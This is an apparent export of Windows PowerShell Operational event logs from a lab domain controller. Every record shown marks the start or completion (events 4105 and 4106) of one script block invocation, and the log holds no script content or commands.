Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468569
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468568
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468567
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468566
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468565
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468564
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468563
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468562
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468561
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468560
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468559
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468558
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468557
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468556
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468555
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468554
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468553
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468552
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468551
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468550
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468549
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468548
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468547
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468546
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468545
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468544
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468543
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468542
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468541
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468540
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468539
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468538
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468537
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468536
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468535
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468534
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468533
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468532
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468531
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468530
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468529
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468528
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468527
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468526
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468525
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468524
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468523
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468522
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468521
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468520
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468519
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468518
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468517
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468516
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468515
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
